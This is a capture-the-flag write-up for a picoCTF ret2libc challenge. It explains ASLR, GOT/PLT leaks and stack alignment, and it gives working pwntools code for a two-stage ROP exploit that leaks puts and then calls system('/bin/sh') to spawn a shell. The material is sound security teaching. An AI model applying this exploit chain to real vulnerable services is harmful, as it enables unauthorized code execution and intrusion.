Description
I'll give you a LIBC, can you pwn it? Use the provided libc to build a ret2libc exploit and get a shell.
Setup
Download the binary and the provided libc file.
wget https://mercury.picoctf.net/static/.../vulnwget https://mercury.picoctf.net/static/.../libc.so.6chmod +x vulnchecksec vulnSolution
Walk me through it- Step 1Check mitigations and understand the vulnerabilityRun checksec on the binary. Confirm ASLR is active (it always is on modern systems), which means you need to leak a libc address before computing the real system() and /bin/sh addresses.bash
checksec vulnbashfile vulnbashldd vulnpythonpython3 -c "from pwn import *; e=ELF('./vuln'); print(e.plt); print(e.got)"Learn more
When ASLR is active, libc loads at a random base address each run. The key insight is that the offsets between functions within libc are fixed - the distance from
putstosystemis always the same, regardless of where libc is loaded. Once you leak any libc address, you can compute all other addresses.Standard two-stage ret2libc exploit:
- Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call
puts(got['puts']). This prints the resolved address of puts from the GOT, revealing libc's load address. - Stage 2 (Shell): Compute
system = libc_base + libc.sym['system']andbin_sh = libc_base + next(libc.search(b'/bin/sh')). Callsystem('/bin/sh')to get a shell.
- Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call
- Step 2Build the leak stageConstruct a ROP chain that calls puts(GOT['puts']) to leak the runtime address of puts, then returns back to main for a second exploitation attempt.python
python3 - <<'EOF' from pwn import * e = ELF('./vuln') libc = ELF('./libc.so.6') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) pop_rdi = next(e.search(asm('pop rdi; ret'))) offset = 0 # from cyclic analysis # Stage 1: Leak puts address payload = b'A' * offset payload += p64(pop_rdi) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.sym['main']) # return to main for stage 2 p.sendline(payload) p.recvuntil(b' ') # skip any output before the leak leak = u64(p.recvline().strip().ljust(8, b' ')) log.success(f"puts @ {hex(leak)}") libc_base = leak - libc.sym['puts'] log.success(f"libc base @ {hex(libc_base)}") assert libc_base & 0xfff == 0, "libc base must be page-aligned (ends in 000) - wrong libc or wrong leak" EOFLearn more
The GOT (Global Offset Table) stores the runtime addresses of external library functions after they are resolved by the dynamic linker. The PLT (Procedure Linkage Table) provides stubs that jump through the GOT, with lazy binding filling in the GOT entry on first call.
Stage 1 stack at the moment vuln() returns (each cell is 8 bytes):
rsp -> | pop rdi ; ret | <- ret of vuln() pops this | got['puts'] | pop rdi ; ret -> rdi = &got['puts'] | plt['puts'] | ret jumps here, calls puts(arg = got['puts']) | sym['main'] | puts() returns here -> back to main loopWorked example of the libc base math. Suppose
putsinlibc.so.6is at static offset0x80e50(find withreadelf -s libc.so.6 | grep ' puts$'orlibc.sym['puts']in pwntools). Suppose the leak prints0x7f3a4567ee50. Then:leaked_puts = 0x7f3a4567ee50 puts_offset = 0x000000080e50 libc_base = 0x7f3a4567ee50 - 0x80e50 = 0x7f3a45600000 <- always page-aligned (lowest 12 bits = 0)The
0x000tail confirms the math: shared libraries are always loaded at page boundaries, so a correctlibc_baseends in three zero hex digits. Anything else means a wrong libc version or a wrong leak parse.Why returning to main works.
mainends with the samegets()read loop that the first overflow exploited. After stage 1 prints the leak and returns tomain, the program presents the prompt again, the script reads the leak from the stage-1 output, computessystemand/bin/shfromlibc_base, and sends a second crafted payload through the same vulnerability. - Step 3Build the shell stageIn the second stage (after returning to main), compute the real addresses of system() and '/bin/sh' using the libc base, then call system('/bin/sh').python
# Continuing from the previous script: python3 - <<'EOF' from pwn import * # ... (previous leak stage) ... system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) ret_gadget = next(e.search(asm('ret'))) # stack alignment # Stage 2: call system('/bin/sh') payload = b'A' * offset payload += p64(ret_gadget) # stack alignment for system() payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(system) p.sendline(payload) p.interactive() EOFLearn more
Stage 2 chain layout, with concrete addresses. Suppose
libc_base = 0x7f3a45600000,libc.sym['system'] = 0x52290, and the first/bin/sh\0string lives atlibc.searchoffset0x1b3e1a:system = 0x7f3a45600000 + 0x52290 = 0x7f3a45652290 binsh = 0x7f3a45600000 + 0x1b3e1a = 0x7f3a457b3e1a payload = b'A' * 40 # offset to saved RIP + p64(ret_gadget) # 16-byte align rsp + p64(pop_rdi) + p64(0x7f3a457b3e1a) # rdi = "/bin/sh" + p64(0x7f3a45652290) # call systemWhy the bare ret for alignment. When
vuln()executesretthe stack is at...0x8(saved RIP slot). Thepop rdi; retconsumes 16 bytes total (one pop, one ret), keeping alignment. But glibcsystem()internally usesmovaps xmm0, [rsp+...], which faults on a 16-byte misalignment. Inserting a single bareretbefore the call burns 8 bytes and shiftsrspfrom...0x8to...0x0, satisfying the alignment requirement.Local testing with the provided libc.
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln(or invoke./ld-linux-x86-64.so.2 --library-path . ./vulndirectly) makes the binary load the supplied libc, ensuring offsets you compute locally match those on the challenge server.
Flag
picoCTF{...}
ret2libc with ASLR requires two stages: first leak a GOT entry to calculate libc base, then call system('/bin/sh') using computed real addresses - the provided libc ensures offset accuracy.